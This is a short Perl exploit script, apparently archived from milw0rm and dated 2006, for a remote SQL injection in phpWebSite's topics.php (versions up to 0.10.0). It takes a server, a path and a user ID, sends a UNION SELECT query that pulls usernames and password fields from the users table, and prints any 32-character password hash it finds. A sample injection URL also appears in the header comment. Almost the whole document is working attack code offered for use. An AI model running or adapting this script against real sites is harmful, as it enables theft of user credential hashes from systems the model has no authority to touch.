phpWebSite <= 0.10.0-full (topics.php) Remote SQL Injection Exploit

#!/usr/bin/perl # # advisory sent in by SnIpEr_SA (selfar2002[at]hotmail.com) # http://www.target.com/topics.php?op=viewtopic&topic=-1%20Union%20select%20name,name,pass,name%20From%20users%20where%20uid=1 # ported by str0ke (milw0rm.com) from x97Rangs code (RST/GHC) http://rst.void.ru use LWP::Simple; $serv = $ARGV[0]; $path = $ARGV[1]; $uid = $ARGV[2]; sub usage { print &#34;\nUsage: $0 [server] [path] [username] \n&#34;; print &#34;sever - URL\n&#34;; print &#34;path - path to topics.php\n&#34;; print &#34;uid - uid of the user\n\n&#34;; exit ();} sub work { print qq( --------------------------------- #==---[ phpWebSite topic SQL-Injection | ---------------------------------\n\n);&board} sub board { $URL = sprintf(&#34;http://%s%s/topics.php?op=viewtopic&topic=-1+Union+select+name,name,pass,name+From+users+where+uid=%s&#34;,$serv,$path,$uid); $content = get &#34;$URL&#34;; if ($content =~ /(\w{32})/){&showh;}else{print &#34;... One of those days :)\n&#34;;}} sub showh { print &#34;[*] User: $uid Hash: $1\n\n&#34;;} if (@ARGV != 3){&usage;}else{&work;} # milw0rm.com [2006-02-24]